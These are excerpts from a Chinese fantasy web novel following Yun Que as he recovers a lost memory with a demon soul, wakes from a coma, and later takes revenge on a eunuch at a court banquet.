只有回到三岁那年,才能从岁月长河里将那段遗失的记忆打捞起来。 直至来到黑云的中心区域,云缺停下脚步。 周围漆黑一片,狂风呼啸。 眼前,是一团高大的灰色光幕,宛若一面大门。 这面回忆之门里面,藏着云缺三岁时,丢失的那一月记忆。 此时的云缺,变成了三岁左右的孩童,脚下再难往前迈动一步,周围的狂风几乎将他淹没。 云缺咬着牙,拼命与狂风抗衡。 小小的身影在黑云当中显得无比渺小。 云缺想要走进光幕当中,任凭他如何努力,最终还是无法迈出脚步。 有某种可怕的力量,在封印着眼前的光幕。 一道血色的女子身影,在旁边伸出了手。 血狸转化为人形状态,拉住云缺。 “小屁孩……” 妖魂骂了句,手里却握得很紧。 云缺感受到周围的狂风变得不再那么冷冽,抬起头,望着一身血色衣裙的妖魂道: “告诉我,你的名字。” 十多年来,云缺第一次,询问妖魂的名字。 黑云里,响起妖魂冷漠的声音。 “月魁。” 漆黑的云雾深处,一大一小两道身影,牵着手,同时迈出最后一步…… 哗啦!! 迈进光幕的同时,云缺觉得自己好像迈进了水底。 眼前的景致变幻起来。 四周黑暗退去,变得灰蒙蒙一片,周围到处是细小的气泡。 的确是水底! 云缺没有妄动,仔细观察着身边。 水很浑浊,没有流动,不是河,更不可能是海。 池塘? 小溪? 还是水坑? 云缺冷静下来,脑海里快速分析着。 这里应该不是北域。 北域常年被冰雪覆盖,不该出现池塘或者水坑,即便有,也必定被冰封。 云缺想不通自己出现在水底的原因。 正常情况下,如果自己昏迷不醒,又沉进水底,结局肯定会被淹死。 思索之际,云缺发现一个奇怪的地方。 眼前漂浮的小气泡,居然生长着一些触角,类似小小的水母。 活的! 云缺眼睁睁看着一个小气泡在眼前游过。 水里存在着无数气泡,云缺仔细看了看,全都是活的! 更让云缺震惊的是,自己身上铺满了小气泡,有的甚至用细小的触角往自己身上钻! 云缺豁然大惊,急忙拼力挣扎,往上游去。 由于此时是三岁时的状态,云缺游得很慢,好在水不算太深,很快看到头顶变得明亮起来。 水面已经不远! 云缺没去多看自己身上是否还有水母般的小气泡,双眼始终盯着越来越近的水面。 只要冲出水面,就能知道这里是什么地方。 快要抵达水面之际,云缺忽然看到一个人影! 人影在水面之上,只能看到一个模模糊糊的轮廓。 云缺的目光愈发凝重。 水面上的人影,肯定与自己为何在妖都之战中存活下来有关。 肯定与自己能驾驭第二把妖刀有关! 你到底是谁! 云缺在心底呐喊着,拼命往上游。 就在即将冲出水面的那一刻,一只大手探进水里,一下抓住云缺的脑袋,将云缺按进水底。 云缺想要挣扎,可那只大手上的力量无比恐怖,他无法抵抗。 小小的身体快速下坠,越沉越深,直至四周再次被黑暗所包裹。 随着身体的下坠,云缺的神智也开始模糊起来,浑浑噩噩,最终失去知觉。 呼!!! 云缺忽然惊醒。 大口喘气,心跳如雷。 抬头看去,自己仍然在识海之内,远处,是那团诡异的黑云。 妖魂月魁站在旁边,面色凝重。 云缺知道是妖魂将他带出了黑云,否则以自己的力量,也许会在触及那段丢失的记忆同时,魂飞魄散。 “水面上,有个人。” 云缺垂着头,低声道:“他究竟是谁……” 月魁冷声道: “以你现在的元神之力,想要冲破这片黑云里的封印是不可能的,我的魂力无法帮助你追寻记忆,想要得知真相,只能靠你自己的力量。” 云缺抬起头,叹气道: “武夫只修肉身本体,对元神之力一窍不通啊,恐怕这辈子也找不回那一月记忆了……” 道门与儒家存在着修炼元神的手段,甚至佛门与巫修也有,而武夫对元神的掌握可以说对牛弹琴,风马牛不相及的两件事。 让武夫修元神,不亚于让哑巴说话,让瞎子指路。 不是修不成,而是无处下手。 修炼元神,需要对法术掌握到极致才行,元神之力相当于修行者最难调动的一份法力,连儒家与道门都很难掌握,又何况武夫。 妖魂在一旁沉默不语。 月魁也看到了水面的人影,她能借助云缺的眼睛看到那段回忆,却帮不上任何忙。 连妖族都知道,武夫基本没机会修炼元神。 云缺虽然遗憾着这次无功而返,却没有妖魂那么失望。 哑巴肯定不会说话,不过瞎子未必不能指路。 斩妖司就有个瞎子,不但能指路,跑得还飞快呢。 云缺目光一动,呢喃道: “炼尸术……” 墨老传授的炼尸术,用的就是元神之力! 云缺记得墨老曾经说过,炼尸术只是一种远古秘法的第一层而已,需要以元神之力施展。 由此推测下去,那份远古秘法的第二层或者第三层,极有可能是壮大元神的手段! 越想,云缺越觉得炼尸术的后续肯定会让元神强大。 自己差不多修成了炼尸术,等有机会,再去请教墨老关于后续功法的消息。 想到这里,云缺开心起来。 安全起见,先远离黑云,云缺盘坐在识海空间开始巩固炼尸术。 反正现在就是元神状态,武道法门是别想了,不过炼尸术倒是还能修炼。 “你好像心情不错。” 月魁开口道。 妖魂已转化为妖躯状态,趴伏在一旁,身后拖着六条长尾。 “还行,我要将炼尸术修炼到圆满,下一层也许对壮大元神有效。”云缺道。 “修到圆满又能如何,你现在是活死人一个,把自己当做炼尸么。”月魁道。 “既然醒不过来,总不能浪费时间,幸好有份功法能修炼,不至于那么无聊,七叔说过,机会总会留给有准备的人,我先准备好,等待机会来临。”云缺道。 “不是我打击你,即便你将炼尸术修到圆满,这辈子也未必能苏醒,我劝你先准备好在这里度过余生。”月魁道。 “那也不错,至少还有姐姐陪我说话,以后教你点小曲儿,无聊的时候唱给我听。”云缺道。 “懒得理你!” 月魁冷哼一声,道:“其实我很羡慕你的心态,死到临头也不畏惧,长眠不醒也不惧怕。” “我这叫心宽似海,无忧无虑!”云缺道。 “没心没肺还差不多,让我唱小曲儿,你做梦吧。”月魁道。 “小气,不唱算了,我给你唱还不行么,谁让你是姐姐呢。”云缺呵呵笑道。 月魁沉默了良久,道: “你想没想过,我们也许真是姐弟。” “想过,当初我娘可能怀了双胞胎,不知怎么把你这个姐姐弄丢了。”云缺道。 “我已经活过上百年之久,你娘才多大岁数!她怎么怀的我!”月魁怒道。 “也可能是我爹在外面沾花惹草,生下你这个私生女。”云缺道。 “你爹能生出来拥有纯正血脉的狸妖是么,他可真厉害。”月魁嗤笑道。 “那总不能是你爹生的我吧。”云缺道。 “为什么不能呢。” 月魁冷声道:“父王与人族女子有机会生出一个拥有妖族血脉的人族婴孩,我们,有可能是同父异母的姐弟。” 云缺面无表情的瞄了眼一旁的巨兽,道: “绿帽子别乱戴,我爹的修为不弱,况且我娘才不会找个老妖生孩子。” “哼,世上很多事,不是你想的那么简单,真正强者的手段,你根本想象不到,以我父王的能力,让一个低阶修士在无法察觉的情况下怀个孩子,不是难事。”月魁道。 “你别过分了,骂我随便,侮辱我娘,我会跟你拼命。”云缺寒声道。 “不是侮辱你娘,我只是说一个猜测而已。”月魁道。 “这种猜测绝无可能!以后别提。”云缺冷冷的道。 “好吧,不提就不提,咱们说点别的。”月魁罕见的服软,道:“你觉得,水面上的那个人,会是谁。” “谁知道呢,也许是你们妖都的某个妖物变化人形,想要淹死我。”云缺道。 “我们妖族想要杀人,通常会用最简单的办法,掐死拍死或者咬死,没听说哪个妖族喜欢淹死人的,我觉得那个人不是想杀你,而是有其他目的,比如,将失去妖刀的你,重新打造成妖血武夫。”月魁道。 云缺的神色渐渐变化起来。 月魁是活了上百年的老妖,它的心智绝对不低,这份推测并非胡乱猜测,有可能是真相。 如果月魁猜对了,那么水面上的人影,就只能是一个人。 前朝司天监的监正,魏墨城! 第257章 举报有奖 距离皇城之战已经过去了三天。 天祈城内,到处是忙碌的身影。 皇宫需要重建,破损的长街与民宅也需要修缮。 司天监里,最忙碌的要数修葺司,起早贪黑修建皇城。 捕风司的冷春鱼今早刚刚返回,带回了关于一万血蛮的消息。 牧青瑶与阎罗众人齐聚一堂。 冷春鱼道: “蛮人逃走途中,被幽大人击杀掉上千人之多,剩余的人马逃进深山,彻底失去踪迹,我亲自进山找过,外围区域没有,估计往深山去了。” 听闻幽人一个人干掉上千血蛮,阎罗李玄驹的眼皮同时跳了跳。 那可是近万人的血蛮大军! 还有一名五品境界的血蛮将领坐镇。 即便有些人中毒,战力也不容小觑,在座的谁独自前往,都无法做到击杀上千血蛮这种程度。 几位监正弟子的心里齐齐浮现出一个念头。 大师姐,真猛…… “大师姐呢?”牧青瑶问道。 冷春鱼迟疑了一下,如实道:“幽大人……走丢了。” 众人一阵无奈。 捕风司真够没用的,血蛮追丢了,连大师姐也给追丢了! 牧青瑶知道捕风司已经尽力,自然不会埋怨什么,李玄驹可不管情面,斥责道: “你们捕风司都是饭桶么!近万血蛮也能追丢,他们进山,你不会派人盯着?” 冷春鱼躬身道: “属下曾经派人进山,但人手回来的时候不知为何尽数染病,我进山的时候也觉得很不舒服,有种神智恍惚的感觉。” “神智恍惚?”阎罗皱眉道:“莫非蛮人在路上留下陷阱,用了毒物。” 冷春鱼道:“属下没发现毒物的迹象,实在查不出原因,不得已退了回来。” 牧青瑶道:“蛮人逃进的深山,具体在什么位置。” 冷春鱼道:“在知远县以西,从方位看,山林深处连接着十万大山。” 李玄驹道:“正好,让那群蛮子去十万大山里当野人,这辈子别出来!” 十万大山,绝非人族的生存之地,毒虫无数,在李玄驹看来,蛮人能在草原呼风唤雨,但到了十万大山绝对活不了几年。火山文学 别人觉得逃走的血蛮,已经不足为虑,但牧青瑶始终轻蹙秀眉,若有所思。 牧青瑶深知十万大山里,不仅有毒虫,还有巫族! 红莲教主,就来自十万大山! 这个消息,除了当时在场的杨七古与牧青瑶之外,没人知道。 牧青瑶回来之后,也没对任何人提及过。 她这样做,是因为尊重七叔。 毕竟楚红莲曾经是七叔的红颜知己,楚红莲真正的身份,七叔可以对外人说,牧青瑶不能。 这是当晚辈的一份自知之明。 灵芸郡主的教养极好,无需七叔多言,自然不会到处宣扬,如果换成是云缺,才不会顾忌,估计早把楚红莲的底细公之于众。 牧青瑶暗自分析了一下,觉得蛮族逃兵的威胁,不算大。 蛮族来自草原,若逃进十万大山,肯定没有好果子吃,神秘的巫族不大可能收留蛮人,更可能将其抓住当做奴隶之类。 相比于逃走的蛮族,牧青瑶更担心的是幽人。 阎罗用手指敲打着椅子扶手,道: “让知远县地界的衙门时刻关注蛮人动向,只要他们敢从山里出来为非作歹,立刻派遣大军将其一举剿灭,八山城不失,几千血蛮翻不起多大浪花。” 牧青瑶道: “十万大山虫兽繁多,大师姐若在山里走失,容易遇到危险,必须把大师姐找回来才行。” 李玄驹道: “难,十万大山无边无际,去找人如同大海捞针,大师姐那么强,不会有事。” 牧青瑶迟疑了一下,蹙眉道: “十万大山的危险,恐怕远超我们想象,红莲教的起源地有可能就在十万大山之内。” 第258章 互相失身 听闻有问题,梅钱诧异着低声问道: “他怎么了!快死了?” 苍老的声音道: “不是快死了,而是快醒了!他神魂的伤势比前两天好转数倍!” 梅钱倍感意外,惊讶不已。 云缺被带回来的当天,他就来探望过,回去后问过老者是否有救,得到的答复是除非有奇迹出现,否则云缺这辈子醒来无望。 梅钱深知老者在神魂上的造诣极高,他说云缺没救,基本就没救了。 因此,这两天梅钱始终心情低落。 他宁愿看到云缺在大战中痛痛快快的战死,也不愿看到云缺如同活死人般躺在病榻昏厥不醒。 梅钱了解云缺。 他知道如果云缺自己选择,也会选择战死。 本以为云缺这一生就此画上句号,不料云缺居然快速好转,而且即将苏醒,梅钱惊讶过后,大喜过望。 “我就知道他命硬!肯定死不了!” 梅钱挥了下拳头,心情大好,随后变得疑惑起来,低语道:“你不是说他这辈子很难醒来,怎么恢复得如此之快?” 老者的声音也充满疑惑,道: “不应该啊,那么重的神魂伤势,怎么可能即将痊愈?即便恢复,也不可能这么快,除非……” 梅钱神色一变,低声道:“除非什么?” 老者声音低沉的道:“除非他找到了当初那个宝藏!” “宝藏……”梅钱呢喃着宝藏二字,目光微微晃动起来。 百玉城的宝藏,可不是几枚血茸果那么简单,他之所以小心翼翼挖了很久,是因为老者断定监牢地底藏着一种天地至宝。 结果挖出来之后,除了血茸果别无他物。 当时不仅梅钱觉得奇怪,他身上的老者更加疑惑不解,第二次回去后找了半天毫无收获,后来只能作罢。 如今老者提及宝藏,梅钱不得不怀疑云缺先自己一步,把真正的宝藏夺走。 可是回忆了当时的经过之后,梅钱觉得不太可能。 当时云缺离开地牢后,急着出城,去找牧青瑶,他可是第一时间返回的监牢地底。 梅钱觉得连自己都没发现真正的宝藏,云缺更不应该知道宝藏的存在。 正疑惑之际,梅钱耳畔响起老者低沉的声音。 “这小子身上,好像有宝藏的气味,你离着近些。” 梅钱闻言,立刻照办,两只手撑在病床旁,离着云缺不到半尺的距离。 看着云缺沉睡不醒的模样,梅钱渐渐冷笑起来,嘀咕道: “既然你睡得这么死,宝藏我就先替你保管了,谁让咱们是朋友呢,朋友就该互相算计才对嘛。” 梅钱此刻心情激动。 老者口中的宝藏,对武夫来说有着难以想象的好处,是攀升到极高境界的一份契机! 若能得到,梅钱有信心在近期冲进六品,一年内成为五品,三年内达到四品! 甚至连三品都有机会! 这种天赐良机,梅钱怎能错过,至于偷东西这件事,他更不在乎。 梅钱坚信,如果躺在这里的是自己,云缺肯定会毫不内疚的拿走自己身上所有宝贝。 这叫废物利用。 废物利用四个字,在云缺和梅钱心里有着相同的解释。 你既然成了废物,那你身上的好东西我就帮你利用利用。 等了稍许,苍老的声音再次传来: “似有似无,很奇怪,你看看他身上有什么特殊的东西。” 梅钱立刻在云缺身上翻找起来,结果除了从袜子里翻出几张银票之外,什么也没用。 “没有。”梅钱道。 “不对,肯定在他身上!你再离他近点。”苍老的声音道。 梅钱没办法,又往前挪了挪身子,几乎贴在云缺身上。 “再近点。”苍老的声音催促道。 梅钱这次直接趴在云缺身上,道:“找到没有,一会儿把他吵醒就糟了。” “没在身上……怎么回事?” 苍老的声音沉默了下去,良久后,道:“掰开他的嘴巴!” 梅钱照办。 “好像有残留的气息,我能感知到,但闻不到,你凑近点,闻一闻他嘴巴里有什么味道,然后告诉我。”苍老的声音道。 “用不着吧,都是大男人,哪有闻别人嘴巴的……”梅钱迟疑道。 “什么男人女人!宝藏的线索比你命还珍贵!你这辈子如果想冲进三品乃至二品境界,就赶紧照我说的办!”苍老的声音愠怒道。 一听二品俩字,梅钱的眼睛都开始放光,顾不得别的,凑近云缺开始闻味道。 这时房门忽然开了。 常威和瞎子本打算喊梅钱一起喝点小酒儿,反正都是司天监的酒菜,不吃白不吃。 一开门,常威和瞎子直勾勾愣在原地。 常威端着酒杯,一下没拿住,落地摔碎。 听到响动,萍山君也伸过来硕大的虎头往屋里瞧,这一瞧,它眼睛也直了。 萍山君本来坐在门口的椅子上。 看着看着,椅子开始倾斜,随后哐当一声倒下,萍山君也跟着栽倒在地。 即便倒在地上,萍山君仍旧保持着最初的姿态,一动不动,歪着脖子,目光呆滞的看着屋里。 屋子里,是一幅令人震撼无比的画面。 梅钱正趴在病床上,掰着云缺的嘴巴,自己的鼻子都要贴上云缺的嘴了。 这种姿势常威熟得很,显然是非礼未遂的架势! 梅钱面不改色的松开手,下了地,走出房门,义正言辞的道: “不放心他的伤势,检查一下,我回学宫了,你们慢慢吃。” 望着梅钱走远的背影,常威瞎子和萍山君齐刷刷打了个寒颤。 他们几个认定了一件事, 梅钱这家伙,肯定有着某种不为人知的特殊癖好! 梅钱走后,常威担忧的道: “咱们不能再喝了,得守着点侯爷,这要侯爷在昏睡的时候失身了可怎么办!” 瞎子点头赞同道: “大千世界什么人都有啊,侯爷若是失身给美人还说得过去,一旦失身给男人,肯定不会高兴。” 萍山君浑身颤抖的道: “何止不高兴,他能扒了我们的皮!让我们互相失身!” 三人不知想到了何种恐怖的场面,又齐刷刷打了个寒颤,随后撤走酒桌,就坐在屋子里,大眼瞪小眼的守着云缺,不敢离开半步。 皇城内一处荒林。 梅钱皱眉道: “云缺嘴里只有汤药的气味,没别的味道。” 苍老的声音道: “不对!他肯定喝了什么东西,我能察觉到他嘴里残留着那至宝的气息,一定没错!找机会查清他到底喝过什么!错过这次,你将与天大的契机失之交臂!” 梅钱点了点头,快步走回学宫,打算明天再去斩妖司打听打听,看看云缺昏睡的这几天都喝了什么东西。 晚上,照例是门六熬药。 常威这次没问热不热,他又看到门六在喂药前用手指试水温。 还别说,门六的心挺细,每次都怕云缺烫到。 就是手段不太讲究,手指在药碗里一顿划拉。 常威几人就住在云缺的病房,门六则住在别处。 半夜的时候,门六觉得口渴,迷迷糊糊出门找了口井,开始打水喝。 一桶接一桶。 还是不解渴。 最后门六直接大头朝下栽进井里,终于喝了个够。 等他爬上来后,眼神变得迷茫起来。 “坠落……我从高处掉了下来……” 门六在坠进水井的过程中,竟找到一种似曾相识的感觉。 他隐隐约约想起一些记忆中零碎的画面。 断崖,坠落…… 门六觉得头疼,针扎般的剧痛。 他抱紧脑袋,蹲在水井旁,好半晌才恢复过来。 门六直勾勾望着一个方向,迈步走去。 走出司天监,走出天祈城,走进山林,最终消失在荒野深处。 午夜时分。 病房里鼾声如雷。 常威和瞎子的鼾声此起彼伏,一个声音厚重,一个声音尖锐,配合起来有一种独特的韵律。 响了几个循环,会伴着一声打雷般,如同击鼓的闷响。 那是萍山君发出的鼾声。 整个屋子里,鼾声震天,也就云缺昏死过去,否则早被吵醒。 屋檐的影子,在月光下缓慢挪移着。 随着月影的移动,屋子里,云缺的身体缓缓漂浮起来,无声无息的飘出窗外,在半空飘向远处。 云缺没醒。 身体漂浮,来自于强大的外力。 最终,云缺飘到皇宫,飘进已经重新修建好的缥缈阁。 阁楼大门洞开。 等云缺飘进之后,大门随之关闭。 云缺的身体立在缥缈阁深处,一动不动,好似木偶。 凌妙清散去法力,从蒲团上站起身来。 “你可曾想到,自己也会有今天,活死人的滋味,如何呢。” 凌妙清微笑起来,如沐春风,整个人精神抖擞,浑厚的灵气在周身涌动。 自从得到嗜血魔莲的莲子,她已经成功压制住心魔,只待借助莲子的药效将心魔彻底炼化,这次的心魔大劫就算彻底渡过。 凌妙清好整以暇的围着云缺缓步转了一圈,咬着银牙道: “因果循环,自有定数,不是不报时候未到!你这种色坯、祸害、坏得流油的恶棍,就该永世沉眠不醒!若留你在世间作恶,不知多少人要倒霉,哼!活该!哈哈哈哈!” 国师抚掌而笑,笑得妩媚动人,笑得格外开怀。 云缺落到今天的下场,凌妙清乐见其成。 云缺越悲惨,她就越开心。 每每想起妖山那次的经历,凌妙清就恨得牙根儿痒痒。 今天把云缺从司天监摄来,她就是想看看云缺悲惨的模样,出一口心头恶气。 凌妙清此时觉得畅快无比,缓步走到药浴的水池旁,宽衣解带。 “你不是很喜欢看美人么,今天本国师可以让你看个够,可惜,你现在有眼无珠,看不到任何美景,可怜,可叹。” 凌妙清说着可怜可叹,却笑意满面,哗啦哗啦的水声中,娇躯在水池里清晰可辨。 那曼妙的身影,宛若仙女入浴,令人遐想连篇。 云缺的身体就站在水池旁边,一动不动,形若木雕。 只是眼睛瞪得溜圆。 第259章 继续霸王硬上弓 凌妙清走出水池,羊脂般的身影之上,水珠无法沾染半滴,相继滑落。 沐浴之后,凌妙清心情更好,嗤笑道: “年纪不大,坏心思不少,天生的坏种!本国师念在相识一场的情面上,以后帮你在臭水沟旁边修座坟,让你死后也臭气熏天。” 说着说着,凌妙清忽然目光一动,黛眉微蹙。 她发现云缺的眼睛,是睁开的! 之前凌妙清没去观察云缺是睁眼还是闭眼,此时心中有些生疑。 她早已得知云缺病重的消息,更知道大祭酒与杨七古都束手无策,由此断定云缺肯定醒不过来。 眼中的疑色渐消,凌妙清下意识的遮住要害,往旁边走了两步,同时盯着云缺观察。 云缺的眼睛直勾勾盯着水池,一动不动。 凌妙清放心了,放下手,舒展一番筋骨,觉得通体舒畅。 伸手摄来道袍,正要穿衣,凌妙清忽然察觉到有目光落在自己身上。 猛然回头,凌妙清的目光又变了。 云缺的眼睛,不知何时转了过来,又盯着她看! 这下凌妙清觉得诧异不解。 她拿着道袍,缓步而行,一步步往另一侧走。 随着她的脚步,云缺的眼珠果然也开始缓慢移动,始终跟随在她身上。 凌妙清的修为极高,观察力自然远超旁人,任何细微的变化都能察觉到。 凌妙清不仅看出云缺的眼珠在动,而且眼珠还在上下轻微晃动,晃动的频率,跟她自己因为行走而在心窝处所产生的颤动一模一样。 猛然间,凌妙清停下脚步,神情变得怒不可赦,裹上道袍的同时,水纹般的长剑出现在手中。 “活死人也要占便宜,你这种祸害不该留在世上!” 凌妙清冷喝着斩出一剑。 原本一动不动的云缺,突然往旁边闪躲,一边躲一边大叫: “我是被迫的!你自己非得在我眼前沐浴,关我什么事!国师杀人啦!国师心魔爆发啦!救命啊!有没有王法啊!你再追我就把今天的事宣扬出去,让天下皆知你凌妙清有奇葩癖好,喜欢沐浴的时候被男人看个遍!” …… 缥缈阁新修好的大门,又坏了。 门上多了个人形的大洞。 云缺是被扔出来的。 凌妙清盘坐在蒲团之上,心窝起伏,心绪不宁。 刚刚压制的心魔,居然有再次卷土从来的征兆。 凌妙清不敢怠慢,全力压制着心神的悸动,没工夫去理睬云缺,扔出去了事。 凌妙清觉得这世上的恶人再如何恶毒,也该有个限度,但她发现云缺的恶毒好像是无限的,某些时候,云缺的存在,居然比自己的心魔还要可怕! 从这一刻开始,凌妙清将缥缈阁以法阵笼罩,彻底封锁小楼,同时楼外多出一块木牌,上面写着‘云缺与狗禁止入内’。 云缺看着木牌上的字迹,淡然一笑,道: “当我爱来么,还不是你把我掠来的!汉子也偷,什么缥缈阁,青楼还差不多!” 骂完后,云缺开始纳闷。 自己怎么醒了? 本以为这一睡,至少也得一年半载,没准睡上几年都有可能。 连大祭酒和七叔都无能为力的伤势,怎么可能好转得如此之快? 难不成,是凌妙清救醒的自己? 云缺回忆着刚刚苏醒的情况,自己一睁眼,就看到国师在宽衣解带的画面,实在大开了一番眼界。 第295章 三个凶手 无舌并未察觉到云缺眼底的冷冽,举着酒杯笑道: “击杀刺客,是老奴的职责所在,正所谓一朝天子一朝臣,当时老奴还是前朝的人,自然要对前朝皇帝负责,今后也一样,陛下若有危险,老奴定然全力相护。” 无舌这番话说得相当漂亮。 前朝臣子为前朝皇帝尽忠职守,今朝臣子对今朝皇帝矜矜业业,既彰显出他忠心的一面,又将谗言之事掩盖得完完整整,简直是一位大忠臣。 云缺缓缓点头,道: “穹音之死,总共有三个凶手,殷子受是第一个,他害得穹家灭门,致使穹音为父报仇,第二个凶手是燕太子,燕无鹰的蛊惑,让穹音走上最终的死路,而你无舌,是第三个凶手,你亲手击杀了穹音。” 无舌听着听着,觉得不对味儿了,放下酒杯,笑容渐渐消失,道: “王爷此言何意。” “没什么,我就是算算账,看看凶手的数量对不对。”云缺也放下酒杯,忽然一笑,道:“账目对上了,前两个凶手已经人头落地,现在嘛,该你死了!” 嗡!!! 妖刀突然出鞘,朝着无舌的脖子豁然斩落。 金銮殿,庆功宴,喜气洋洋的气氛被刀刃的破空声撕了个粉碎! 没人料到云缺会在这种场合当真动手,而且出手毫不留情! 斩出妖刀的瞬间,云缺双眼随之转为殷红,妖力爆发。 无舌的修为极其扎实,他在五品金身境多年,早已到了五品巅峰,反应速度极快,两脚一震向后飞退,同时身形如陀螺般旋转,妖刀擦着他的肩头划过。 站稳之后,无舌神色变得阴冷,道: “云缺,你居然要杀我!我与阜南王是多年故友,没有我无舌,你认为阜南王能轻易得到这皇位吗!” 云缺淡淡一笑,抬起左手摆出起手式,寒声道: “我不管你与谁有交情,既然穹音死于你手,你就得偿命,我这人活得很简单,有恩之人,看心情还不还恩惠,有仇之人,上天入地我也会砍你脑袋!” 无舌此人,云缺是必杀的。 无舌是个绝对的小人,他能留在殷子受身边十余年来不断进谗言,可见此人有多阴狠无情。 这种人,最容易反叛,他能出卖殷子受,将来也能出卖牧青瑶。 无舌的人品,云缺其实不在乎,真正的原因,是穹音之死。 当时无舌护驾,亲手击杀穹音保住了殷子受,但无舌没有想到,他也因此引来了云缺的杀意。 报仇,就要报得干干净净,不留任何余地,这是云缺的为人之道。 其他事可以商量,但报仇这件事,云缺从来不会拖泥带水。 无舌是殷子受的人也好,是阜南王的人也罢,只要云缺认准的仇家,必定将其斩于刀下! 满朝文武,此刻齐刷刷怔在原地。 举杯的,吃菜的,喝酒的,全部一动不动,如木雕般定住,目光惊诧,望向云缺与无舌。 牧青瑶神色骤变。 尽管没听到云缺与无舌的谈论,但牧青瑶已经猜到,能让云缺在如此场合动刀,肯定与穹音之死有关。 牧青瑶一时想不出解决办法,她在迟疑之间,云缺已经动了。 断刀式,三式齐出! 刀山般的刀影携带着恐怖的啸声将无舌笼罩其中。 周围的百官四散奔逃,大殿内瞬间空出一大片区域。 无舌不甘示弱,震荡双臂,五品金身境气机轰鸣而起,迎着斩来的刀影轰出一片拳风。 刀鸣与拳啸,在金銮殿内互相交替。 一时间两人战得难分难解。 胆子小的,此时已经溜出大殿,生怕被波及。 青禾站在牧青瑶身前,全力戒备。 牧青瑶左右为难,不知该规劝,还是该默许。 她知道穹音之死,是云缺心底的一道伤疤,为穹音报仇,云缺可以不顾一切。 牧青瑶理解云缺的感受,但无舌又是父亲的心腹,机敏的小郡主,在此刻变得束手无策。 周史伯在震惊过后,急忙对白厌与章岳使了个眼色,示意两位指挥使去拉架,不能让云缺与无舌在金銮殿内拼杀。 毕竟今天新皇继位,若在金銮殿见血,不是好兆头。 况且交战的两人身份太特殊。 一个是新皇将来的夫君,一个是阜南王多年的心腹,谁出点事,首辅都无法交代。 白厌与章岳互相看了一眼,两人身形掠动冲进战团。 两位指挥使施展全力,费了半天劲,终于将两人分开。 白厌拦住了云缺,章岳则挡下了无舌。 “王爷息怒,今日陛下登基,有什么事不妨以后再说。” 白厌死死抓着云缺的手臂,说完一句,又以气机汇聚成细小的声线传入云缺耳畔: “君子报仇十年不晚。” 以白厌的稳重,他已竭尽所能规劝,但他察觉到云缺身上的气机非但没减少,反而越发狂暴。 另一边,章岳拦住无舌后,将其拉到远处,也在规劝着什么。 无舌目光阴冷,盯着对面的云缺,直喘粗气,显然在恼羞成怒。 大殿内一片狼藉,桌椅碎裂满地。 周史伯急忙吩咐宫娥清理地面,同时高声道: “二位都消消气,有什么事咱们坐下来心平气和的解决便是,切勿动手,酒宴过后,当有歌舞助兴,让舞姬上殿!” 立刻有宫娥去召集舞姬。 为了缓和局面,周史伯实在没了办法,他看出云缺眼里的杀意丝毫不减,一咬牙,道: “今天是陛下登基的大喜之日,趁着舞姬没到,老夫献丑!先来一段年轻时学过的歌舞!” 说罢这位年过七旬的首辅,自己打着拍子,在金銮殿上载歌载舞起来。 唱得一般般,跳得也不怎么样,却十分认真。 在周史伯豁出老脸的唱跳中,云缺浑身的气机渐渐收拢。 并非恨意消失,而是卖给首辅个面子,老头子那么大年纪,能做到这种程度实属不易。 扫了眼无舌,云缺的嘴角泛起一丝冷笑。 现在可以不动手,等没人的时候,再动手也不迟。 云缺今天没打算放过无舌! 白厌将云缺拉到一旁,找了个完好的座位落座,章岳陪着无舌坐在对面,两人隔着老远。 很快舞姬鱼贯而入。 丝竹之音响起,大殿内翩翩起舞。 周史伯松了口气,坐在一边歇息,同时在心里盘算着如何能化解云缺与无舌之间的仇怨。 这件事在周史伯看来极其棘手。 云缺与牧青瑶是一对,天造地设,两人心有灵犀,早晚会成亲。 而无舌又是阜南王多年的心腹与旧友,这两人一旦结仇,很容易令云缺与阜南王之间出现难以弥补的裂痕。 一旦云缺与阜南王反目,周史伯实在不敢想象后果。 新皇登基,大晋迎来明主,原本好端端的一桩喜事,结果引出来一场仇怨,周史伯愁容满面,一场歌舞下来,头发白了好几根。 皇家舞姬,跳得自然美轮美奂。 总共十余名舞姬,脸上蒙着轻纱,拖地长裙,每人披着一条红绸,犹如彩蝶飞舞。 舞姬的身影,穿梭于大殿之中,遮挡了云缺与无舌之间的目光。 云缺压制着心头的杀意,开始盘算着今晚何时动手。 留着无舌一天,云缺的恨意就无法消弭,不留隔夜仇才是云缺的作风。 周围的群臣为了调解气氛,互相开始说笑起来,只是没人敢往云缺和无舌身边凑。 谁也不知道这两位什么时候还能打起来,武夫拼命,很容易波及无辜。 白厌在旁边赞叹道: “皇家舞姬果然不凡,每一个动作都要练习成千上万遍之多,舞者的艰辛,其实不亚于我们武夫啊。” 白厌刻意转移着话题,云缺心不在焉的嗯了一声,随意扫了眼舞姬。 随后云缺的目光落在其中一个舞姬身上。 这名舞姬的身段堪称完美,舞姿与其他人有些不同,看似动作一致,却有着精湛的技巧,每一个动作都完美无缺的配合着曲乐,绝对是舞者中的大家。 这种时候,云缺没心情看美人,何况舞姬轻纱罩面,看不清模样。 云缺多看了几眼,是因为这名舞姬举手投足间,有一种熟悉之感,好像曾经见过这种绝美的舞姿。 正心生疑惑之际,云缺看到那舞姬正好到了无舌附近,与其他舞姬一样,做出抛甩红绸的动作。 简简单单的舞蹈动作,突然响起剑鸣之音! 那舞姬抛出的红绸,在半空中竟化作一柄红色长剑,突然斩向无舌! 出人预料的一幕,将大殿内的众人惊得怔住。 杀手! 而且杀的不是皇帝,竟是无舌这个老太监! 无舌根本无心观看舞姬表演,正在生闷气,对云缺记恨不已,忽然听到剑鸣,他一抬头,红绸长剑到了眼前。 无舌不愧为五品巅峰高手,拼尽全力一侧身,避开长剑。 红绸长剑刺空,贴着无舌的脸划了过去,在无舌脸上留下一道细小的伤口。 “好大的狗胆!” 无舌一声暴喝,一掌拍在长剑上。 强横的气机瞬间传遍长剑,那舞姬的手心立刻被气机炸裂出鲜血,低呼着脱手。 气机的震荡,令舞姬头上的面纱掉落,现出一张精致绝美的俏脸,虽然有些苍白,但眼中充满着恨意。 看到此人的模样,云缺目光一变,惊讶道: “穹舞!” 舞姬,正是穹舞假扮。 云缺不知道穹舞何时混进了舞姬队伍,但云缺很清楚穹舞出现在大殿的目的,肯定是为了给她姐姐穹音报仇! 穹舞显然得知了穹音是被无舌击杀。 大殿内惊呼四起。 不等红绸长剑落地,无舌用另一只手抓住剑柄,将长剑翻转一圈,恶狠狠斩向穹舞的脖子。 以无舌五品巅峰的力量,穹舞避无可避,根本抵挡不了。 云缺此时在对面,相隔十多丈远,来不及出手相救。 